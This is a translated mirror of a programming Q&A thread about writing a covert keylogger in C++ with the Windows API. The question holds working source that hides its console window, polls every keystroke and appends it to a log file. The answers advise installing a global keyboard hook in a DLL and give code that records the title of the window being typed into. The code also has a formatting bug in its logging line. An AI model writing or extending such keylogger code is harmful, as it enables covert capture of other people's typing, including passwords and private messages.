簡體   English   中英

C ++簡單的鍵盤記錄程序

[英]C++ simple keylogger

我正在嘗試使用WinAPI在C ++中編寫一個簡單的鍵盤記錄器。 有沒有辦法獲取用戶正在鍵入捕獲的擊鍵的應用程序? 到目前為止,這是我的代碼:

#include <iostream>
#include <windows.h>
#include <winuser.h>

using namespace std;

int main()
{
    HWND Stealth;
    AllocConsole();
    Stealth = FindWindowA("ConsoleWindowClass", NULL);
    ShowWindow(Stealth,0);
    char i;

while (1)
{
    for(i = 8; i <= 190; i++)
    {
        if (GetAsyncKeyState(i) == -32767)
        {
            FILE *OUTPUT_FILE;
            OUTPUT_FILE = fopen("LOG.txt", "a+");
            int c=static_cast<int>(i);
            fprintf(OUTPUT_FILE, "%s", &c);
            fclose (OUTPUT_FILE);
        }
    }
}
system ("PAUSE");
return 0;
}

你想要的是全局鍵盤鈎子

全局鈎子監視與調用線程在同一桌面中的所有線程的消息。 特定於線程的掛鈎僅監視單個線程的消息。 可以在與調用線程相同的桌面中的任何應用程序的上下文中調用全局鈎子過程,因此該過程必須位於單獨的DLL模塊中。 僅在關聯線程的上下文中調用特定於線程的掛鈎過程。 如果應用程序為其自己的一個線程安裝了一個鈎子過程,那么鈎子過程可以與應用程序代碼的其余部分在一個模塊中,也可以在DLL中。 如果應用程序為不同應用程序的線程安裝了掛鈎過程,則該過程必須位於DLL中。 有關信息,請參閱動態鏈接庫。

因為問題是“有沒有辦法獲取用戶正在鍵入捕獲的擊鍵的應用程序?” 我要說使用HWND WINAPI GetForegroundWindow(void);

例如:

char cWindow[MAX_PATH];
GetWindowTextA(GetForegroundWindow(), cWindow, sizeof(cWindow));

在cWindow中,您將獲得用戶正在鍵入的窗口的標題。

暫無
暫無

聲明:本站的技術帖子網頁,遵循CC BY-SA 4.0協議,如果您需要轉載,請注明本站網址或者原文地址。任何問題請咨詢:yoyou2525@163.com.

 
粵ICP備18138465號  © 2020-2024 STACKOOM.COM